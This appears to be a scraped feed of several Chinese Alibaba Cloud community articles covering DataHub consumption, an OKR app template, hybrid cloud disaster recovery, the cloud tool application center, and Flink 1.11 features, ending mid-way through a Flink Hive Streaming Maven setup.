    ​ 消费DataHub数据有两种方式,通过DataHub支持的同步数据库同步到下游,或者通过自定义SDK消费数据进行处理

    DataHub支持的同步类型:

    • Hologres
    • Maxcompute
    • ADS
    • ElasticSearch
    • 函数计算
    • OSS
    • TableStore
    • RDS/MySQL/ADS 3.0

    自定义SDK消费

    ​ 您可以使用SDK对DataHub数据进行消费

    ​ 同时DataHub协同消费解决多个消费者同时消费一个topic时,自动分配shard的问题,您也可以选择使用协同消费对DataHub数据进行处理

    ​ 同步往往是出现问题最多的,请参考  DataHub同步问题

    7.监控报警

    ​ 在同步数据过程中,DataHub支持了监控报警,目前只有订阅延迟报警这一项,您可以通过创建报警规则方式对DataHub同步到下游数据进行监控,当超过延迟时间阈值时,会通过钉钉、短信等多种方式提醒您。

    ​ 具体报警说明请查看文档:监控报警

    8 总结

    本文通过对DataHub的创建使用,上游数据源的选择,同步到DataHub的指标查看,以及下游类型的说明,阐述了DataHub做为数据通道的概念模型以及实际的落地场景,如有更多使用疑问,请加DataHub公共云群组进行反馈

    ]]>
    做好这个比周报更有用!【宜搭精品应用推荐】 Fri, 02 May 2025 09:39:04 +0800 11.jpg
    22.jpg

    OKR(Objectives and Key Results)即目标与关键成果法,是一套明确和跟踪目标及其完成情况的管理工具和方法。OKR可以有效确保员工紧密协作,把精力聚焦在能促进组织成长的、可衡量的贡献上。OKR管理系统是企业进行目标管理的一个简单有效的系统。和KPI重视考核不同,OKR更重视目标管理,并被大多数创造力驱动的新型科技公司采纳使用。

    受今年疫情影响,许多部门开始实行远程办公,在这种场景下,OKR系统可以更好地帮助团队聚焦目标、高效协作。然而,如何才能拥有团队自己的OKR系统呢?

    宜搭的精品应用模板之一“OKR管理系统”,囊括了OKR录入、目标里程碑录入、目标/KR变更、KR执行情况填写、KR进展更新等核心功能点,可以帮助团队同学对齐目标、聚焦重点、可视化目标里程。在宜搭模板市场,可一键复制使用,科学管理目标,快快喊上团队成员用起来吧~

    image.png

    • 应用名:OKR管理系统
    • 应用场景:团队OKR管理、项目协同管理
    • 用户:团队/项目成员、PM、管理者

    主要功能

    image.png

    01 OKR管理

    包括OKR录入、目标里程碑录入、目标/KR变更、KR执行情况填写、KR进展更新等功能。

    线上任务看板清晰明了,公开透明,可以帮助团队目标与个人目标保持一致,更好实现团队协作。

    image.png

    02 项目进度跟踪

    可通过报表、图表等形式实时展示个人的OKR情况、项目里程碑、项目进展等信息。

    定期反馈工作进展,填报当前进度、完成情况,以及需要协助支持的事宜,达到事半功倍的效果。

    image.png

    03 项目报表

    提供了从个人的视角、项目整体的视角、里程碑的完成度视角、任务的执行过程等视角的进度报表,直接展示个项目的完成情况,结果可量化,成员可以很直观地看到项目进展,互相激励,驱动团队和个人不断向目标前进。

    image.png

    应用价值

    1、提升项目协同效率:
    通过对团队各个协同项目进行资源、进度的实时监控,能够进行资源利用率的优化,提升团队整体的协同效率。

    2、提升团队积极性:
    将目标和成果可视化,调动团队的积极性,帮助成员主动去发现问题、解决问题。

    3、提升团队公开透明:
    以往模式无法全面了解团队各个成员手上的项目,缺乏公开透明性,OKR系统很好地解决了这一问题,和传统KPI相比,更适合中后台、产品技术团队使用。

    4 、项目进度及时同步
    对于每一次项目会议、每一个的项目信息表更、任务信息变更都提供了详细的记录查询,保证目标的完成度。

    立即试用

    ]]> 混合云容灾服务介绍 Fri, 02 May 2025 09:39:04 +0800 什么是混合云容灾服务

    混合云容灾服务(Hybrid Disaster Recovery, 简称 HDR)是一个为您的数据中心提供企业级应用的本地备份与云上容灾一体化的服务。

    混合云容灾服务解决的核心问题

    混合云容灾解决的两个核心问题是:

    • 应用级容灾 - 业务持续性 (Business Continuity) 保障:在数据中心故障或长时间系统维护作业时,在云上快速恢复应用运行,缩短业务停机时间,极大减少损失。
    • 数据级容灾:在数据中心备份您的数据库、虚拟机、物理机整机,备份数据存储在本地并自动上云。可在自建数据中心发生重大灾害时保障数据安全,同时提供高效的本地和云上的双重恢复。

    此外,利用混合云容灾服务的服务器整机复制能力,您可以方便地将本地服务器迁移到阿里云 ECS,无需重构,您就可以完成应用轻松上云。

    混合云容灾服务支持的业务类型

    混合云容灾服务目前支持两种业务类型:

    • 连续复制型容灾(CDR):解决企业关键应用的高标准容灾方案,提供秒-分级的 RPO 和 RTO 容灾。
    • 混合云大数据容灾(公测中):解决 Hadoop 集群数据的实时容灾复制,跨集群大数据湖建设,Hadoop 备份的问题,实现大数据集群间的近 0 RPO 实时双向复制。

    产品优势

    阿里云拥有世界水平的基础设施,随用随取的海量弹性资源,简单易用的计算、存储、网络、数据库、大数据服务,是企业天然的灾备中心。利用混合云容灾服务搭建基于阿里云的异地容灾方案是企业业务连续性和数据安全保障的理想选择。

    总成本低廉

    • 无需自建灾备中心,免去机房运维、硬件采购等成本。
    • 云上主要消耗存储资源、计算资源需求极低。
    • 可针对不同的应用需求以及不同的网络带宽,配置不同的 RPO、RTO,从而节约成本。
    • 相对自建灾备中心的方案,可以节约高达 80% 的费用。

    简单易用

    • 云下部署简单、云上资源全自动管理、控制台集中管控。
    • 备份恢复演练和容灾恢复演练可随时进行,一键启动、快速清理。

    RPO/RTO分级

    企业需要对重要性级别不同的应用制定阶梯化的 RPO/RTO。企业的基础架构,尤其是网络情况会制约能达到的容灾指标。

    • 连续复制型容灾(CDR)基于磁盘级实时数据复制技术,可以提供秒级-分钟级的 RPO/RTO。
    • 混合云大数据容灾提供近 0 RPO 的大数据容灾,可以将 Hadoop 集群容灾至阿里云 OSS 或 EMR,在 Hadoop 集群间双向实时复制,构建大数据湖。

    应用级容灾和数据级容灾

    • 支持将 Windows、 Linux 应用服务器做高效的容灾复制和云上恢复,实现应用级容灾。
    • 您可以只针对关键应用的数据,包括 SQL Server、Oracle 数据库、VMWare 虚拟机等进行定时备份和备份上云,实现数据级容灾。

    应用场景

    混合云容灾服务可以广泛地应用于各种数据保护和业务持续性场景。

    关键应用的异地容灾

    在本地数据中心上运行的应用可能面临各种意外情况。例如,由于软硬件环境被破坏而无法在短时间内恢复应用,火灾、自然灾害等事件甚至可能导致整个数据中心的重建。这些情况会导致关键应用长时间不可使用,从而对您的业务造成较大损失。当自有 IDC 内的应用无法短时间恢复时,混合云容灾服务能够帮助您将应用在云上快速拉起。
    使用混合云容灾网关后,核心应用的服务器镜像、应用数据、文件等都被持续复制到阿里云上。如果自有 IDC 内应用出现难以恢复的故障时,您可以在阿里云上启动容灾恢复网关,快速在 ECS 上恢复应用服务器运行,使应用迅速重新上线,极大减少业务损失。平时,您还可以方便地进行容灾演练,确保真实故障发生时恢复流程顺畅,保证容灾计划的准确性。
    混合云容灾服务让您无需承担自建灾备中心的巨大投入,也无需担心传统容灾方案复杂的软硬件部署运维,极大减少了异地容灾的成本,提高容灾的有效性。

    整机云迁移

    传统的上云迁移一般需要应用在云镜像上重新安装配置,ECS虚拟机重新配置,甚至应用重构等步骤,这个过程往往比较漫长。尤其是一些第三方开发的应用,因为软件依赖多且不明确、配置复杂等情况,上云迁移操作较为困难。
    混合云容灾网关或者灾备一体机提供了整机备份上云并在云上恢复的方式,让您可以在 ECS 中非常方便地真实还原云下服务器环境,让上云迁移变得简单直观。
    关于混合云容灾服务更多内容,亦可扫描下方二维码了解详情。
    image.png

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。
    阿里云SRE技术学院(钉钉圈子)-lyl.png

    ]]>
    阿里云工具应用中心 Fri, 02 May 2025 09:39:04 +0800

    庄子曰:“鲦鱼出游从容,是鱼之乐也。”惠子曰:“子非鱼,安知鱼之乐?”庄子曰:“子非我,安知我不知鱼之乐?”惠子曰:“我非子,固不知子矣;子固非鱼也,子之不知鱼之乐,全矣!”庄子曰:“请循其本。子曰‘汝安知鱼乐’云者,既已知吾知之而问我。我知之濠上也。”
    ——《庄子与惠子游于濠梁》

    几天前,在帮客户寻找解决方案时无意间发现了阿里云的工具应用中心。

    按照阿里云帮助文档的说法:

    工具应用中心是阿里云搭建的,面向企业云管理的工具平台。
    用户可以在这里根据使用场景,方便地找到由阿里云或第三方合作伙伴提供的应用产品,完成订购直接在阿里云管理控制台使用。应用中心提供了资源管理、配置编排、自动化运维、诊断分析、成本费用、运维工具等场景类目,并且在持续拓展类目。阿里云和第三方合作伙伴针对各个类目场景的客户需求设计了各具特色的独立应用。
    官方应用由阿里云自行研发和维护,并由阿里云提供售后服务。
    第三方合作伙伴应用,由经过阿里云资质审核认证的合作伙伴企业研发,通过阿里云安全审核后发布在阿里云管理控制台上。第三方合作伙伴应用托管在阿里云,受到全面的数据安全管控

    目前据我所知,工具应用中心有两个入口:
    一个是在控制台的左上角,阿里云图标左边的按钮点下去后,在菜单栏的最下面。

    1.png

    另一个是在阿里云控制台的右下角。
    2.png

    到本文截稿时,工具应用中心有8款应用,其中3款来自阿里云,5款来自第三方合作伙伴。

    3款阿里云的应用包括:

    • 等保2.0 预检、可以持续监控云上资源配置的合规性,避免正式检测时被要反复要求整改,便于更顺利的通过评测。
    • 逻辑编排、低代码的集成阿里云API和第三方服务,可以自动完成诸如证书过期检测、为新加入的安全组增加默认拒绝策略、自动为新加入的RAM用户或角色添加权限等工作。
    • 运维编排、主要面向阿里云ECS进行批量、定时操作,可以执行的操作包括批量执行命令、开关机、更换镜像、调整带宽等。

    5款第三方的应用包括:

    • 某某CMDB、一款轻量级配置管理系统,用于准确的映射业务支撑架构,提高运维效率。
    • 某某主机管家、一款堡垒机应用,对比阿里云官方的堡垒机可以提供一些额外的增值功能。
    • 某某费用管理、一款成本控制软件,用于成本分摊及账单可视化,提升资源运营效率。
    • 某某云迁移、用于无代理方式的整体迁移,对比阿里云免费提供的迁移中心,这款应用在对VMWare虚拟化平台进行上云迁移时不需要在迁移虚拟机上安装代理程序。
    • 某某蓝图编排、一款类似于Terraform 的IoC(Infrastructure as Code)产品,对应的阿里云自有服务叫做ROS,相对于ROS,这款产品在易用性上有自己的特色,阿里云ROS团队的小伙伴会有些许的紧张吧。

    这几款应用虽然是来自于第三方,但在使用体感上和阿里云官方服务并没有什么差异,用户并不需要为这些应用生产和分配AK(接入密钥)和权限。应用在第一次使用时阿里云会弹出授权确认窗口,用户单击确认授权即可。另外按照阿里云帮助文档的说法,这些应用的运行必须在阿里云指定的位置运行,并且要受到全面的数据安全管控,另外最关键的是这些应用在上到市场前必须要经过阿里云的严格检测和评审,这有些像水果家App Store的态度。

    丰富的第三方应用更容易满足客户五花八门的管理类需求,阿里云本身则可以更聚焦于云平台核心功能的完善和升级,毕竟应用越丰富,平台的价值也越大。

    ​工具应用中心会成为下一个App Stroe么?

    ]]>
    解决问题 1474 个,Flink 1.11 究竟有哪些易用性上的改善? Fri, 02 May 2025 09:39:04 +0800 作者 | 王治江,Apache Flink PMC

    7月7日,Flink 1.11.0 正式发布了,作为这个版本的 release manager 之一,我想跟大家分享一下其中的经历感受以及一些代表性 feature 的解读。在进入深度解读前,我们先简单了解下社区发布的一般流程,帮助大家更好的理解和参与 Flink 社区的工作。

    • 首先在每个版本的规划初期,会从志愿者中选出 1-2 名作为 Release Manager。1.11.0 版本我作为中国这边的 Release Manager,同时还有一名来自 Ververica 的 Piotr Nowojski 作为德国方的 Release Manager,这在某种程度上也说明中国的开发者和贡献度在整个社区的占比很重要。
    • 接下来会进行这个版本的 Feature Kickoff。在一些大的方向上,社区的规划周期可能比较久,会分阶段、分步骤跨越多个版本完成,确保质量。每个版本的侧重点也会有所不同,比如前两个版本侧重于批处理的加强,而这个版本更侧重于流处理易用性的提升。社区规划的 Feature 列表会在邮件列表中发起讨论,以收集更多的用户/开发者意见和反馈。
    • 一般的开发周期为 2-3 个月时间,提前会明确规划出大概的 Feature Freeze 时间,之后进行 Release Candidate 的发布和测试、以及 Bug Fix。一般经过几轮的迭代周期后会正式投票通过一个相对稳定的 Candidate 版本,然后基于这个版本正式发布。

    Flink 1.11.0 从 3 月初的功能规划到 7 月初的正式发布,历经了差不多 4 个月的时间,对 Flink 的生态、易用性、生产可用性、稳定性等方面都进行了增强和改善,下面将一一跟大家分享。

    一 综述

    Flink 1.11.0 从 Feature 冻结后发布了 4 次 Candidate 才最终通过。经统计,一共有 236 个贡献者参与了这次版本开发,解决了 1474 个 Jira 问题,涉及 30 多个 FLIP,提交了 2325 个 Commit。

    1.jpg
    2.jpg

    纵观近五次版本发布,可以看出从 1.9.0 开始 Flink 进入了一个快速发展阶段,各个维度指标相比之前都有了几乎翻倍的提高。也是从 1.9.0 开始阿里巴巴内部的 Blink 项目开始被开源 Flink 整合,到 1.10.0 经过两个大版本已经全部整合完毕,对 Flink 从生态建设、功能性、性能和生产稳定性上都有了大幅的增强。

    Flink 1.11.0 版本的最初定位是重点解决易用性问题,提升用户业务的生产使用体验,整体上不做大的架构调整和功能开发,倾向于快速迭代的小版本开发。但是从上面统计的各个指标来看,所谓的“小版本”在各个维度的数据也丝毫不逊色于前两个大版本,解决问题的数量和参与的贡献者人数也在持续增加,其中来自中国的贡献者比例达到 62%。

    下面我们会深度剖析 Flink 1.11.0 带来了哪些让大家期待已久的特性,从用户直接使用的 API 层一直到执行引擎层,我们都会选择一些有代表性的 Feature 从不同维度解读,更完整的 Feature 列表请大家关注发布的 Release Blog。

    二 生态完善和易用性提升

    这两个维度在某种程度上是相辅相成的,很难严格区分开,生态兼容上的缺失常常造成使用上的不便,提升易用性的过程往往也是不断完善相关生态的过程。在这方面用户感知最明显的应该就是 Table & SQL API 层面的使用。

    1 Table & SQL 支持 Change Data Capture(CDC)

    CDC 被广泛使用在复制数据、更新缓存、微服务间同步数据、审计日志等场景,很多公司都在使用开源的 CDC 工具,如 MySQL CDC。通过 Flink 支持在 Table & SQL 中接入和解析 CDC 是一个强需求,在过往的很多讨论中都被提及过,可以帮助用户以实时的方式处理 Changelog 流,进一步扩展 Flink 的应用场景,例如把 MySQL 中的数据同步到 PG 或 ElasticSearch 中,低延时的 Temporal Join 一个 Changelog 等。

    除了考虑到上面的真实需求,Flink 中定义的“Dynamic Table”概念在流上有两种模型:Append 模式和 Update 模式。通过 Append 模式把流转化为“Dynamic Table”在之前的版本中已经支持,因此在 1.11.0 中进一步支持 Update 模式也从概念层面完整的实现了“Dynamic Table”。

    3.jpg

    为了支持解析和输出 Changelog,如何在外部系统和 Flink 系统之间编解码这些更新操作是首要解决的问题。考虑到 Source 和 Sink 是衔接外部系统的一个桥梁,因此 FLIP-95 在定义全新的 Table Source 和 Table Sink 接口时解决了这个问题。

    在公开的 CDC 调研报告中,Debezium 和 Canal 是用户中最流行使用的 CDC 工具,这两种工具用来同步 Changelog 到其它的系统中,如消息队列。据此,FLIP-105 首先支持了 Debezium 和 Canal 这两种格式,而且 Kafka Source 也已经可以支持解析上述格式并输出更新事件,在后续的版本中会进一步支持 Avro(Debezium) 和 Protobuf(Canal)。

    CREATE TABLE my_table (  
    ...) WITH (  
    'connector'='...', -- e.g. 'kafka'  
    'format'='debezium-json',  
    'debezium-json.schema-include'='true' -- default: false (Debezium can be configured to include or exclude the message schema)  
    'debezium-json.ignore-parse-errors'='true' -- default: false
    );

    2 Table & SQL 支持 JDBC Catalog

    1.11.0 之前,用户如果依赖 Flink 的 Source/Sink 读写关系型数据库或读取 Changelog 时,必须要手动创建对应的 Schema。而且当数据库中的 Schema 发生变化时,也需要手动更新对应的 Flink 作业以保持一致和类型匹配,任何不匹配都会造成运行时报错使作业失败。用户经常抱怨这个看似冗余且繁琐的流程,体验极差。

    实际上对于任何和 Flink 连接的外部系统都可能有类似的上述问题,在 1.11.0 中重点解决了和关系型数据库对接的这个问题。FLIP-93 提供了 JDBC catalog 的基础接口以及 Postgres catalog 的实现,这样方便后续实现与其它类型的关系型数据库的对接。

    1.11.0 版本后,用户使用 Flink SQL 时可以自动获取表的 Schema 而不再需要输入 DDL。除此之外,任何 Schema 不匹配的错误都会在编译阶段提前进行检查报错,避免了之前运行时报错造成的作业失败。这是提升易用性和用户体验的一个典型例子。

    3 Hive 实时数仓

    从 1.9.0 版本开始 Flink 从生态角度致力于集成 Hive,目标打造批流一体的 Hive 数仓。经过前两个版本的迭代,已经达到了 Batch 兼容且生产可用,在 TPC-DS 10T Benchmark 下性能达到 Hive 3.0 的 7 倍以上。

    1.11.0 在 Hive 生态中重点实现了实时数仓方案,改善了端到端流式 ETL 的用户体验,达到了批流一体 Hive 数仓的目标。同时在兼容性、性能、易用性方面也进一步进行了加强。

    在实时数仓的解决方案中,凭借 Flink 的流式处理优势做到实时读写 Hive:

    • Hive 写入:FLIP-115 完善扩展了 FileSystem Connector 的基础能力和实现,Table/SQL 层的 sink 可以支持各种格式(CSV、Json、Avro、Parquet、ORC),而且支持 Hive Table 的所有格式。
    • Partition 支持:数据导入 Hive 引入 Partition 提交机制来控制可见性,通过sink.partition-commit.trigger 控制 Partition 提交的时机,通过 sink.partition-commit.policy.kind 选择提交策略,支持 SUCCESS 文件和 Metastore 提交。
    • Hive 读取:实时化的流式读取 Hive,通过监控 Partition 生成增量读取新 Partition,或者监控文件夹内新文件生成来增量读取新文件。

    在 Hive 可用性方面的提升:

    • FLIP-123 通过 Hive Dialect 为用户提供语法兼容,这样用户无需在 Flink 和 Hive 的 CLI 之间切换,可以直接迁移 Hive 脚本到 Flink 中执行。
    • 提供 Hive 相关依赖的内置支持,避免用户自己下载所需的相关依赖。现在只需要单独下载一个包,配置 HADOOP_CLASSPATH 就可以运行。

    在 Hive 性能方面,1.10.0 中已经支持了 ORC(Hive 2+)的向量化读取,1.11.0 中我们补全了所有版本的 Parquet 和 ORC 向量化支持来提升性能。

    4 全新 Source API

    前面也提到过,Source 和 Sink 是 Flink 对接外部系统的一个桥梁,对于完善生态、可用性及端到端的用户体验是很重要的环节。社区早在一年前就已经规划了 Source 端的彻底重构,从 FLIP-27 的 ID 就可以看出是很早的一个 Feature。但是由于涉及到很多复杂的内部机制和考虑到各种 Source Connector 的实现,设计上需要考虑的很全面。从 1.10.0 就开始做 POC 的实现,最终赶上了 1.11.0 版本的发布。

    先简要回顾下 Source 之前的主要问题:

    • 对用户而言,在 Flink 中改造已有的 Source 或者重新实现一个生产级的 Source Connector 不是一件容易的事情,具体体现在没有公共的代码可以复用,而且需要理解很多 Flink 内部细节以及实现具体的 Event Time 分配、Watermark 产出、Idleness 监测、线程模型等。
    • 批和流的场景需要实现不同的 Source。
    • Partitions/Splits/Shards 概念在接口中没有显式表达,比如 Split 的发现逻辑和数据消费都耦合在 Source Sunction 的实现中,这样在实现 Kafka 或 Kinesis 类型的 Source 时增加了复杂性。
    • 在 Runtime 执行层,Checkpoint 锁被 Source Function 抢占会带来一系列问题,框架很难进行优化。

    FLIP-27 在设计时充分考虑了上述的痛点:

    4.jpg

    • 首先在 Job Manager 和 Task Manager 中分别引入两种不同的组件 Split Enumerator 和 Source Reader,解耦 Split 发现和对应的消费处理,同时方便随意组合不同的策略。比如现有的 Kafka Connector 中有多种不同的 Partition 发现策略和实现耦合在一起,在新的架构下,我们只需要实现一种 Source Reader,就可以适配多种 Split Enumerator 的实现来对应不同的 Partition 发现策略。
    • 在新架构下实现的 Source Connector 可以做到批流统一,唯一的小区别是对批场景的有限输入,Split Enumerator 会产出固定数量的 Split 集合并且每个 Split 都是有限数据集;对于流场景的无限输入,Split Enumerator 要么产出无限多的 Split 或者 Split 自身是无限数据集。
    • 复杂的 Timestamp Assigner 以及 Watermark Generator 透明的内置在 Source Reader 模块内运行,对用户来说是无感知的。这样用户如果想实现新的 Source Connector,一般不再需要重复实现这部分功能。

    目前 Flink 已有的 Source Connector 会在后续的版本中基于新架构来重新实现,Legacy Source 也会继续维护几个版本保持兼容性,用户也可以按照 Release 文档中的说明来尝试体验新 Source 的开发。

    5 PyFlink 生态

    众所周知,Python 语言在机器学习和数据分析领域有着广泛的使用。Flink 从 1.9.0 版本开始发力兼容 Python 生态,Python 和 Flink 合力为 PyFlink,把 Flink 的实时分布式处理能力输出给 Python 用户。前两个版本 PyFlink 已经支持了 Python Table API 和 UDF,在 1.11.0 中扩大对 Python 生态库 Pandas 的支持以及和 SQL DDL/Client 的集成,同时 Python UDF 性能有了极大的提升。

    具体来说,之前普通的 Python UDF 每次调用只能处理一条数据,而且在 Java 端和 Python 端都需要序列化/反序列化,开销很大。1.11.0 中 Flink 支持在 Table & SQL 作业中自定义和使用向量化 Python UDF,用户只需要在 UDF 修饰中额外增加一个参数 udf_type=“pandas” 即可。这样带来的好处是:

    • 每次调用可以处理 N 条数据。
    • 数据格式基于 Apache Arrow,大大降低了 Java、Python 进程之间的序列化/反序列化开销。
    • 方便 Python 用户基于 Numpy 和 Pandas 等数据分析领域常用的 Python 库,开发高性能的 Python UDF。

    除此之外,1.11.0 中 PyFlink 还支持:

    • PyFlink table 和 Pandas DataFrame 之间无缝切换(FLIP-120),增强 Pandas 生态的易用性和兼容性。
    • Table & SQL 中可以定义和使用 Python UDTF(FLINK-14500),不再必需 Java/Scala UDTF。
    • Cython 优化 Python UDF 的性能(FLIP-121),对比 1.10.0 可以提升 30 倍。
    • Python UDF 中用户自定义 Metric(FLIP-112),方便监控和调试 UDF 的执行。

    上述解读的都是侧重 API 层面,用户开发作业可以直接感知到的易用性的提升。下面我们看看执行引擎层在 1.11.0 中都有哪些值得关注的变化。

    三 生产可用性和稳定性提升

    1 支持 Application 模式和 Kubernetes 增强

    1.11.0 版本前,Flink 主要支持如下两种模式运行:

    • Session 模式:提前启动一个集群,所有作业都共享这个集群的资源运行。优势是避免每个作业单独启动集群带来的额外开销,缺点是隔离性稍差。如果一个作业把某个 Task Manager(TM)容器搞挂,会导致这个容器内的所有作业都跟着重启。虽然每个作业有自己独立的 Job Manager(JM)来管理,但是这些 JM 都运行在一个进程中,容易带来负载上的瓶颈。
    • Per-job 模式:为了解决 Session 模式隔离性差的问题,每个作业根据资源需求启动独立的集群,每个作业的 JM 也是运行在独立的进程中,负载相对小很多。

    以上两种模式的共同问题是需要在客户端执行用户代码,编译生成对应的 Job Graph 提交到集群运行。在这个过程需要下载相关 Jar 包并上传到集群,客户端和网络负载压力容易成为瓶颈,尤其当一个客户端被多个用户共享使用。

    1.11.0 中引入了 Application 模式(FLIP-85)来解决上述问题,按照 Application 粒度来启动一个集群,属于这个 Application 的所有 Job 在这个集群中运行。核心是 Job Graph 的生成以及作业的提交不在客户端执行,而是转移到 JM 端执行,这样网络下载上传的负载也会分散到集群中,不再有上述 Client 单点上的瓶颈。

    用户可以通过 bin/flink run-application 来使用 Application 模式,目前 Yarn 和 Kubernetes(K8s)都已经支持这种模式。Yarn application 会在客户端将运行作业需要的依赖都通过 Yarn Local Resource 传递到 JM。K8s Application 允许用户构建包含用户 Jar 与依赖的镜像,同时会根据作业自动创建 TM,并在结束后销毁整个集群,相比 Session 模式具有更好的隔离性。K8s 不再有严格意义上的 Per-Job 模式,Application 模式相当于 Per-Job 在集群进行提交作业的实现。

    除了支持 Application 模式,Flink 原生 K8s 在 1.11.0 中还完善了很多基础的功能特性(FLINK-14460),以达到生产可用性的标准。例如 Node Selector、Label、Annotation、Toleration 等。为了更方便的与 Hadoop 集成,也支持根据环境变量自动挂载 Hadoop 配置的功能。

    2 Checkpoint & Savepoint 优化

    Checkpoint 和 Savepoint 机制一直是 Flink 保持先进性的核心竞争力之一,社区在这个领域的改动很谨慎,最近的几个大版本中几乎没有大的功能和架构上的调整。在用户邮件列表中,我们经常能看到用户反馈和抱怨的相关问题:比如 Checkpoint 长时间做不出来失败,Savepoint 在作业重启后不可用等等。1.11.0 有选择的解决了一些这方面的常见问题,提高生产可用性和稳定性。

    1.11.0 之前, Savepoint 中 Meta 数据和 State 数据分别保存在两个不同的目录中,这样如果想迁移 State 目录很难识别这种映射关系,也可能导致目录被误删除,对于目录清理也同样有麻烦。1.11.0 把两部分数据整合到一个目录下,这样方便整体转移和复用。另外,之前 Meta 引用 State 采用的是绝对路径,这样 State 目录迁移后路径发生变化也不可用,1.11.0 把 State 引用改成了相对路径解决了这个问题(FLINK-5763),这样 Savepoint 的管理维护、复用更加灵活方便。

    实际生产环境中,用户经常遭遇 Checkpoint 超时失败、长时间不能完成带来的困扰。一旦作业 failover 会造成回放大量的历史数据,作业长时间没有进度,端到端的延迟增加。1.11.0 从不同维度对 Checkpoint 的优化和提速做了改进,目标实现分钟甚至秒级的轻量型 Checkpoint。

    首先,增加了 Checkpoint Coordinator 通知 Task 取消 Checkpoint 的机制(FLINK-8871),这样避免 Task 端还在执行已经取消的 Checkpoint 而对系统带来不必要的压力。同时 Task 端放弃已经取消的 Checkpoint,可以更快的参与执行 Coordinator 新触发的 Checkpoint,某种程度上也可以避免新 Checkpoint 再次执行超时而失败。这个优化也对后面默认开启 Local Recovery 提供了便利,Task 端可以及时清理失效 Checkpoint 的资源。

    其次,在反压场景下,整个数据链路堆积了大量 Buffer,导致 Checkpoint Barrier 排在数据 Buffer 后面,不能被 Task 及时处理对齐,也就导致了 Checkpoint 长时间不能执行。1.11.0 中从两个维度对这个问题进行解决:

    1)尝试减少数据链路中的 Buffer 总量(FLINK-16428),这样 Checkpoint Barrier 可以尽快被处理对齐。

    • 上游输出端控制单个 Sub Partition 堆积 Buffer 的最大阈值(Backlog),避免负载不均场景下单个链路上堆积大量 Buffer。
    • 在不影响网络吞吐性能的情况下合理修改上下游默认的 Buffer 配置。
    • 上下游数据传输的基础协议进行了调整,允许单个数据链路可以配置 0 个独占 Buffer 而不死锁,这样总的 Buffer 数量和作业并发规模解耦。根据实际需求在吞吐性能和 Checkpoint 速度两者之间权衡,自定义 Buffer 配比。

    这个优化有一部分工作已经在 1.11.0 中完成,剩余部分会在下个版本继续推进完成。

    2)实现了全新的 Unaligned Checkpoint 机制(FLIP-76)从根本上解决了反压场景下 Checkpoint Barrier 对齐的问题。实际上这个想法早在 1.10.0 版本之前就开始酝酿设计,由于涉及到很多模块的大改动,实现机制和线程模型也很复杂。我们实现了两种不同方案的原型 POC 进行了测试、性能对比,确定了最终的方案,因此直到 1.11.0 才完成了 MVP 版本,这也是 1.11.0 中执行引擎层唯一的一个重量级 Feature。其基本思想可以概括为:

    • Checkpoint Barrier 跨数据 Buffer 传输,不在输入输出队列排队等待处理,这样就和算子的计算能力解耦,Barrier 在节点之间的传输只有网络延时,可以忽略不计。
    • 每个算子多个输入链路之间不需要等待 Barrier 对齐来执行 Checkpoint,第一个到的 Barrier 就可以提前触发 Checkpoint,这样可以进一步提速 Checkpoint,不会因为个别链路的延迟而影响整体。
    • 为了和之前 Aligned Checkpoint 的语义保持一致,所有未被处理的输入输出数据 Buffer 都将作为 Channel State 在 Checkpoint 执行时进行快照持久化,在 Failover 时连同 Operator State 一同进行恢复。换句话说,Aligned 机制保证的是 Barrier 前面所有数据必须被处理完,状态实时体现到 Operator State 中;而 Unaligned 机制把 Barrier 前面的未处理数据所反映的 Operator State 延后到 Failover Restart 时通过 Channel State 回放进行体现,从状态恢复的角度来说最终都是一致的。注意这里虽然引入了额外的 In-Flight Buffer 的持久化,但是这个过程实际是在 Checkpoint 的异步阶段完成的,同步阶段只是进行了轻量级的 Buffer 引用,所以不会过多占用算子的计算时间而影响吞吐性能。

    5.jpg

    Unaligned Checkpoint 在反压严重的场景下可以明显加速 Checkpoint 的完成时间,因为它不再依赖于整体的计算吞吐能力,而和系统的存储性能更加相关,相当于计算和存储的解耦。但是它的使用也有一定的局限性,它会增加整体 State 的大小,对存储 IO 带来额外的开销,因此在 IO 已经是瓶颈的场景下就不太适合使用 Unaligned Checkpoint 机制。

    1.11.0 中 Unaligned Checkpoint 还没有作为默认模式,需要用户手动配置来开启,并且只在 Exactly-Once 模式下生效。但目前还不支持 Savepoint 模式,因为 Savepoint 涉及到作业的 Rescale 场景,Channel State 目前还不支持 State 拆分,在后面的版本会进一步支持,所以 Savepoint 目前还是会使用之前的 Aligned 模式,在反压场景下有可能需要很长时间才能完成。

    四 总结

    Flink 1.11.0 版本的开发过程中,我们看到越来越多来自中国的贡献者参与到核心功能的开发中,见证了 Flink 在中国的生态发展越来越繁荣,比如来自腾讯公司的贡献者参与了 K8s、Checkpoint 等功能开发,来自字节跳动公司的贡献者参与了 Table & SQL 层以及引擎网络层的一些开发。希望更多的公司能够参与到 Flink 开源社区中,分享在不同领域的经验,使 Flink 开源技术一直保持先进性,能够普惠到更多的受众。

    经过 1.11.0 “小版本”的短暂调整,Flink 正在酝酿下一个大版本的 Feature,相信一定会有很多重量级的特性登场,让我们拭目以待!

    ]]>
    Flink 1.11 新特性之 SQL Hive Streaming 简单示例 Fri, 02 May 2025 09:39:04 +0800 7月7日,Flink 1.11 版本发布,与 1.10 版本相比,1.11 版本最为显著的一个改进是 Hive Integration 显著增强,也就是真正意义上实现了基于 Hive 的流批一体。

    本文用简单的本地示例来体验 Hive Streaming 的便利性并跟大家分享体验的过程以及我的心得,希望对大家上手使用有所帮助。

    添加相关依赖

    测试集群上的 Hive 版本为 1.1.0,Hadoop 版本为 2.6.0,Kafka 版本为 1.0.1。

    <properties>
      <scala.bin.version>2.11</scala.bin.version>
      <flink.version>1.11.0</flink.version>
      <flink-shaded-hadoop.version>2.6.5-10.0</flink-shaded-hadoop.version>
      <hive.version>1.1.0</hive.version>
    </properties>
    
    <dependencies>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-streaming-scala_${scala.bin.version}</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-clients_${scala.bin.version}</artifactId>
